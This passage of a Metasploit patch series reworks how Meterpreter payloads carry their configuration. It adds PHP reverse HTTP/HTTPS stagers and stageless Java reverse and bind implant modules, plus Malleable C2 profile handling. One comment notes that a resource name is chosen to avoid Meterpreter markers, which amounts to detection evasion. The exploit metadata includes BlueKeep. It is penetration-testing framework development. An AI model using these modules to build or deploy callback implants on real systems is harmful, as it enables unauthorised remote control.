MetasploitPayloads.read('meterpreter', 'meterpreter.php') + + config_block = Rex::Text.encode_base64(generate_config( + url: url, + scheme: 'https', + stageless: true + )) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") + + if datastore['MeterpreterDebugBuild'] + met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) + + logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging']) + met.sub!(%q{define("MY_DEBUGGING_LOG_FILE_PATH", false);}, %|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath] + end + + met.gsub!(/#.*$/, '') + Rex::Text.compress(met) + end +end diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 23b8aa791a4c7..3e6eea0af17e1 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -4,10 +4,12 @@ ## module MetasploitModule - CachedSize = 39837 + CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Php def initialize(info = {}) @@ -26,19 +28,30 @@ def initialize(info = {}) ) end - def generate(_opts = {}) - met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid - met.gsub!('127.0.0.1', datastore['LHOST']) if datastore['LHOST'] - met.gsub!('4444', datastore['LPORT'].to_s) if datastore['LPORT'] + opts[:transport_config] ||= [transport_config_reverse_tcp(opts)] - uuid = generate_payload_uuid - bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub(%q{"PAYLOAD_UUID", ""}, %("PAYLOAD_UUID", "#{bytes}")) + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate(_opts = {}) + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') - # Stageless payloads need to have a blank session GUID - session_guid = '\x00' * 16 - met = met.sub(%q{"SESSION_GUID", ""}, %("SESSION_GUID", "#{session_guid}")) + config_block = Rex::Text.encode_base64(generate_config(_opts)) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") if datastore['MeterpreterDebugBuild'] met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) @@ -48,7 +61,6 @@ def generate(_opts = {}) end met.gsub!(/#.*$/, '') - met = Rex::Text.compress(met) - met + Rex::Text.compress(met) end end diff --git a/modules/payloads/stagers/php/reverse_http.rb b/modules/payloads/stagers/php/reverse_http.rb new file mode 100644 index 0000000000000..21aa2fc32b5df --- /dev/null +++ b/modules/payloads/stagers/php/reverse_http.rb @@ -0,0 +1,27 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseHttp + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => { 'Payload' => '' } + ) + ) + end +end diff --git a/modules/payloads/stagers/php/reverse_https.rb b/modules/payloads/stagers/php/reverse_https.rb new file mode 100644 index 0000000000000..215ce0031534a --- /dev/null +++ b/modules/payloads/stagers/php/reverse_https.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseHttp + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => { 'Payload' => '' } + ) + ) + end + + def generate(_opts = {}) + super({ scheme: 'https' }) + end +end diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index e8723f3a096ca..8f45ec52d2df8 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -3,9 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'securerandom' - module MetasploitModule + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Php def initialize(info = {}) @@ -23,16 +23,47 @@ def initialize(info = {}) ) end + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + unless opts[:transport_config] + scheme = opts[:scheme] || 'tcp' + if scheme == 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + elsif scheme == 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + else + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + end + end + + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + def generate_stage(opts = {}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') - uuid = opts[:uuid] || generate_payload_uuid - bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub('"PAYLOAD_UUID", ""', "\"PAYLOAD_UUID\", \"#{bytes}\"") + # Build the URI from the callback URL if present + unless opts[:url].to_s == '' + opts[:scheme] ||= opts[:url].to_s.split(':')[0] + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" + end - # Staged payloads need to have a new session GUID - session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*').chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub(%q{"SESSION_GUID", ""}, %("SESSION_GUID", "#{session_guid}")) + # Generate the TLV config block containing all transport configuration + config_block = Rex::Text.encode_base64(generate_config(opts)) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") if datastore['MeterpreterDebugBuild'] met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) @@ -42,7 +73,6 @@ def generate_stage(opts = {}) end met.gsub!(/#.*?$/, '') - # met = Rex::Text.compress(met) met end end From 4a5fe56734fe181a5428c5f1a5c6a8fae9705d01 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 17:48:31 +1000 Subject: [PATCH 04/26] Remove emails from source They aren't valid any more. --- db/modules_metadata_base.json | 10 +++++----- .../exploits/linux/http/seagate_nas_php_exec_noauth.rb | 2 +- .../exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 5539267c8e2d1..4bbfe9b7b30a1 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -66658,7 +66658,7 @@ "disclosure_date": null, "type": "encoder", "author": [ - "OJ Reeves " + "OJ Reeves" ], "description": "Encodes a payload using a series of SUB instructions and writing the\n encoded value to ESP. This concept is based on the known SUB encoding\n approach that is widely used to manually encode payloads with very\n restricted allowed character sets. It will not reset EAX to zero unless\n absolutely necessary, which helps reduce the payload by 10 bytes for\n every 4-byte chunk. ADD support hasn't been included as the SUB\n instruction is more likely to avoid bad characters anyway.\n\n The payload requires a base register to work off which gives the start\n location of the encoder payload in memory. If not specified, it defaults\n to ESP. If the given register doesn't point exactly to the start of the\n payload then an offset value is also required.\n\n Note: Due to the fact that many payloads use the FSTENV approach to\n get the current location in memory there is an option to protect the\n start of the payload by setting the 'OverwriteProtect' flag to true.\n This adds 3-bytes to the start of the payload to bump ESP by 32 bytes\n so that it's clear of the top of the payload.", "references": [], @@ -86684,7 +86684,7 @@ "disclosure_date": "2015-03-01", "type": "exploit", "author": [ - "OJ Reeves " + "OJ Reeves" ], "description": "Some Seagate Business NAS devices are vulnerable to command execution via a local\n file include vulnerability hidden in the language parameter of the CodeIgniter\n session cookie. The vulnerability manifests in the way the language files are\n included in the code on the login page, and hence is open to attack from users\n without the need for authentication. The cookie can be easily decrypted using a\n known static encryption key and re-encrypted once the PHP object string has been\n modified.\n\n This module has been tested on the STBN300 device.", "references": [ @@ -189596,7 +189596,7 @@ "author": [ "superkojiman", "PsychoSpy ", - "OJ Reeves " + "OJ Reeves" ], "description": "This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,\n allowing remote attackers to execute arbitrary code via a long resource name in an HTTP\n request. This exploit has to deal with the fact that the application's request handler\n thread is terminated after 60 seconds by a \"monitor\" thread. To do this, it allocates\n some RWX memory, copies the payload to it and creates another thread. When done, it\n terminates the current thread so that it doesn't crash and hence doesn't bring down\n the process with it.", "references": [ @@ -207223,7 +207223,7 @@ "author": [ "Sean Dillon ", "Ryan Hanson", - "OJ Reeves ", + "OJ Reeves", "Brent Cook " ], "description": "The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n the freed channel is used to achieve arbitrary code execution.\n\n Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n selection is correctly matched to the system's memory layout.\n\n HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n This is a non-standard configuration for normal servers, and the target will crash if\n the aforementioned Registry key is not set!\n\n If the target is crashing regardless, you will likely need to determine the non-paged\n pool base in kernel memory and set it as the GROOMBASE option.", @@ -311196,4 +311196,4 @@ "needs_cleanup": null, "actions": [] } -} \ No newline at end of file +} diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb index e3e6cea0e5691..26df448d56dbd 100644 --- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -27,7 +27,7 @@ def initialize(info = {}) This module has been tested on the STBN300 device. }, 'Author' => [ - 'OJ Reeves ' # Discovery and Metasploit module + 'OJ Reeves' # Discovery and Metasploit module ], 'References' => [ ['CVE', '2014-8684'], diff --git a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb index d5aedddd75508..76c22cb5ec8f9 100644 --- a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb +++ b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb @@ -84,9 +84,9 @@ def initialize(info = {}) pool base in kernel memory and set it as the GROOMBASE option. }, 'Author' => [ - 'Sean Dillon ', # @zerosum0x0 - Original exploit + 'Sean Dillon ', # @zerosum0x0 - Original exploit 'Ryan Hanson', # @ryHanson - Original exploit - 'OJ Reeves ', # @TheColonial - Metasploit module + 'OJ Reeves', # @TheColonial - Metasploit module 'Brent Cook ', # @busterbcook - Assembly whisperer ], 'License' => MSF_LICENSE, From bf781a95f60b9ab97675cc48e2e9012bd4187763 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Fri, 27 Mar 2026 07:58:48 +1000 Subject: [PATCH 05/26] Config block support for mettle --- lib/msf/base/sessions/mettle_config.rb | 37 +++++++++++++++++++++----- 1 file changed, 31 insertions(+), 6 deletions(-) diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index 94e2289b964a7..ba0b346a43ad9 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -96,15 +96,40 @@ def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + unless opts[:transport_config] + case opts[:scheme] + when 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + when 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + when 'tcp' + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + else + raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + end + end + + # Generate the TLV config block + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + opts[:config_block] = config.to_b + + # Keep the legacy CLI config for backward compatibility during transition case opts[:scheme] when 'http' - opts[:uri] = generate_http_uri(transport_config_reverse_http(opts)) + opts[:uri] = generate_http_uri(opts[:transport_config].first) when 'https' - opts[:uri] = generate_http_uri(transport_config_reverse_https(opts)) + opts[:uri] = generate_http_uri(opts[:transport_config].first) when 'tcp' - opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts)) - else - raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + opts[:uri] = generate_tcp_uri(opts[:transport_config].first) end opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip @@ -114,7 +139,7 @@ def generate_config(opts = {}) end opts[:session_guid] = Base64.encode64(guid).strip - opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name, :background) + opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name, :background, :config_block) end # Stage encoding is not safe for Mettle (doesn't apply to stageless) From 1f0bf60cf5f0b9a126aef802e8540bb57d552cbf Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 23:29:09 +1000 Subject: [PATCH 06/26] Restore android stageless via TLV Stagless android was busted when meterp switched to TLV config. This moves the flags to a TLV instead of the first byte of the config block. --- lib/msf/core/payload/android.rb | 21 ++++++++++++--------- lib/rex/payloads/meterpreter/config.rb | 4 ++++ lib/rex/post/meterpreter/packet.rb | 1 + 3 files changed, 17 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index a1c0e0f3093ea..aa3c55c04f91d 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -46,23 +46,26 @@ def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid ds = opts[:datastore] || datastore + # Session flags consumed by the Android meterpreter via TLV_TYPE_SESSION_FLAGS. + # Bit values must match Config.FLAG_* in + # java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java. + flags = 0 + flags |= 1 if opts[:stageless] + flags |= 2 if ds['AndroidMeterpreterDebug'] + flags |= 4 if ds['AndroidWakelock'] + flags |= 8 if ds['AndroidHideAppIcon'] + config_opts = { ascii_str: true, arch: opts[:uuid].arch, expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], - stageless: opts[:stageless] == true + stageless: opts[:stageless] == true, + flags: flags } - config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b - flags = 0 - flags |= 1 if opts[:stageless] - flags |= 2 if ds['AndroidMeterpreterDebug'] - flags |= 4 if ds['AndroidWakelock'] - flags |= 8 if ds['AndroidHideAppIcon'] - config[0] = flags.chr - config + Rex::Payloads::Meterpreter::Config.new(config_opts).to_b end def sign_jar(jar) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index c8f58d7fd3875..a0e05c8071981 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -67,6 +67,10 @@ def add_session_tlv(tlv, opts) if opts[:debug_build] && opts[:log_path] tlv.add_tlv(MET::TLV_TYPE_DEBUG_LOG, opts[:log_path]) end + + if opts[:flags] && opts[:flags] != 0 + tlv.add_tlv(MET::TLV_TYPE_SESSION_FLAGS, opts[:flags]) + end end def add_c2_tlv(tlv, opts) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 4b46d446ecb53..0619d8ddb1276 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -138,6 +138,7 @@ module Meterpreter TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s +TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) # # C2 Encoding flags From 1472c4d37eb07667b2babae3d1d71d5b13c1c563 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 23:31:56 +1000 Subject: [PATCH 07/26] Fix custom_headers emission, add C2 UUID for placement --- lib/rex/payloads/meterpreter/config.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index a0e05c8071981..ed4bf85149138 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -116,7 +116,11 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADER, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? + + # Per-transport UUID for C2 profile placement (uuid_get/header/cookie). + # Payloads fall back to URL-path extraction when this TLV is absent. + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UUID, @opts[:uuid].to_s) if @opts[:uuid] end tlv.tlvs << c2_tlv From aa220bba0a36c47736c60e31fa5888427e504a1e Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 23:37:42 +1000 Subject: [PATCH 08/26] Support mc2 in transport_* commands --- lib/rex/post/meterpreter/client_core.rb | 25 +++++++++++++++++++++---- 1 file changed, 21 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index ca75f44766aec..7ef06ce4f2b33 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -10,6 +10,9 @@ # certificate hash checking require 'rex/socket/x509_certificate' +# parsing of Malleable C2 profiles for transport_add / transport_change +require 'msf/core/payload/malleable_c2' + require 'openssl' module Rex @@ -149,7 +152,8 @@ def transport_list response.each(TLV_TYPE_C2) { |t| # TODO: Consider adding more information to the output for malleable profiles? # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC, - # TLV_TYPE_C2_SKIP_COUNT, TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER + # TLV_TYPE_C2_PREFIX_SKIP, TLV_TYPE_C2_SUFFIX_SKIP, + # TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER # Not sure if this stuff is useful for this display though. result[:transports] << { :url => t.get_tlv_value(TLV_TYPE_C2_URL), @@ -904,7 +908,17 @@ def transport_prepare_request(command_id, opts={}) end end - c2_tlv = GroupTlv.new(TLV_TYPE_C2) + # When a Malleable C2 profile is supplied, start from its TLV (which carries + # UA + GET/POST sub-groups) and layer the rest on top; otherwise build a + # bare C2 group. + if (opts[:c2_profile] || '').empty? + c2_tlv = GroupTlv.new(TLV_TYPE_C2) + has_profile = false + else + profile = Msf::Payload::MalleableC2::Parser.new.parse(opts[:c2_profile]) + c2_tlv = profile.to_tlv + has_profile = true + end if opts[:comm_timeout] c2_tlv.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) @@ -929,8 +943,11 @@ def transport_prepare_request(command_id, opts={}) url << generate_uri_uuid(sum, opts[:uuid]) + '/' end - opts[:ua] ||= Rex::UserAgent.random - c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) + # When a profile is supplied it controls the UA; otherwise add a default. + unless has_profile + opts[:ua] ||= Rex::UserAgent.random + c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) + end if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) From 428f34f7dae61062692b30cf05e7dd6e6ee227e6 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 14 May 2026 00:04:54 +1000 Subject: [PATCH 09/26] Add stagless payloads for Java --- .../core/payload/java/meterpreter_loader.rb | 31 ++++++++++++++++++ .../singles/java/meterpreter_bind_tcp.rb | 32 +++++++++++++++++++ .../singles/java/meterpreter_reverse_http.rb | 32 +++++++++++++++++++ .../singles/java/meterpreter_reverse_https.rb | 32 +++++++++++++++++++ .../singles/java/meterpreter_reverse_tcp.rb | 32 +++++++++++++++++++ 5 files changed, 159 insertions(+) create mode 100644 modules/payloads/singles/java/meterpreter_bind_tcp.rb create mode 100644 modules/payloads/singles/java/meterpreter_reverse_http.rb create mode 100644 modules/payloads/singles/java/meterpreter_reverse_https.rb create mode 100644 modules/payloads/singles/java/meterpreter_reverse_tcp.rb diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index e2654ba6c727b..5b94ce40c50dc 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'rex/zip' +require 'zip' module Msf @@ -15,6 +17,11 @@ module Payload::Java::MeterpreterLoader include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Java + # Resource path the stageless StagelessMain bootstrap reads. Deliberately + # innocuous — no meterpreter/metasploit markers in the name. + STAGELESS_CONFIG_RESOURCE = 'META-INF/data'.freeze + STAGELESS_MAIN_CLASS = 'com.metasploit.meterpreter.StagelessMain'.freeze + def initialize(info = {}) super(update_info(info, 'Name' => 'Java Meterpreter & Configuration', @@ -35,10 +42,16 @@ def stage_payload(opts={}) # Override the Payload::Java version so we can load a prebuilt jar to be # used as the final stage; calls super to get the intermediate stager. # + # When opts[:stageless] is set, returns a self-contained jar with the + # TLV config embedded as a resource and Main-Class pinned to + # StagelessMain — ready to run under `java -jar`. + # def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') config = generate_config(opts) + return build_stageless_jar(met, config) if opts[:stageless] + # All of the dependencies to create a jar loader, followed by the length # of the jar and the jar itself, then the config blocks = [ @@ -56,6 +69,24 @@ def stage_meterpreter(opts={}) (blocks + [block_count]).pack('A*' * blocks.length + 'N') end + # Build a self-contained stageless jar: take the prebuilt meterpreter.jar, + # rewrite its manifest to point at StagelessMain, and embed the encoded + # config as a jar resource that StagelessMain reads at startup. + def build_stageless_jar(src_jar, config_bytes) + jar = Rex::Zip::Jar.new + ::Zip::File.open_buffer(::StringIO.new(src_jar)) do |zip| + zip.each do |entry| + next if entry.directory? + next if entry.name == 'META-INF/MANIFEST.MF' + next if entry.name == STAGELESS_CONFIG_RESOURCE + jar.add_file(entry.name, entry.get_input_stream.read) + end + end + jar.add_file(STAGELESS_CONFIG_RESOURCE, config_bytes) + jar.build_manifest(main_class: STAGELESS_MAIN_CLASS) + jar.pack + end + def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid ds = opts[:datastore] || datastore diff --git a/modules/payloads/singles/java/meterpreter_bind_tcp.rb b/modules/payloads/singles/java/meterpreter_bind_tcp.rb new file mode 100644 index 0000000000000..a496231f6560a --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_bind_tcp.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::BindTcp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Bind TCP Stageless', + 'Description' => 'Run a meterpreter server in Java. Bind TCP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::BindTcp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + end + + def generate(opts = {}) + stage_meterpreter(opts.merge(stageless: true)) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_http.rb b/modules/payloads/singles/java/meterpreter_reverse_http.rb new file mode 100644 index 0000000000000..def2c50e8aa06 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_http.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseHttp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse HTTP Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse HTTP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + end + + def generate(opts = {}) + stage_meterpreter(opts.merge(stageless: true)) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_https.rb b/modules/payloads/singles/java/meterpreter_reverse_https.rb new file mode 100644 index 0000000000000..0103ed02b6cc0 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_https.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseHttps + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse HTTPS Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse HTTPS. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttps, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + end + + def generate(opts = {}) + stage_meterpreter(opts.merge(stageless: true)) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000000..654613ab45cdb --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseTcp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse TCP Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse TCP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseTcp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + end + + def generate(opts = {}) + stage_meterpreter(opts.merge(stageless: true)) + end +end From f0dc4a76a4dc6456e3693e3ed099534e5f75fb8f Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 17:13:35 +1000 Subject: [PATCH 10/26] Add debug output for incoming MC2 payloads --- lib/msf/core/handler/reverse_http.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 6f3293be7c821..0c662bb998c9a 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -386,6 +386,10 @@ def on_request(cli, req) 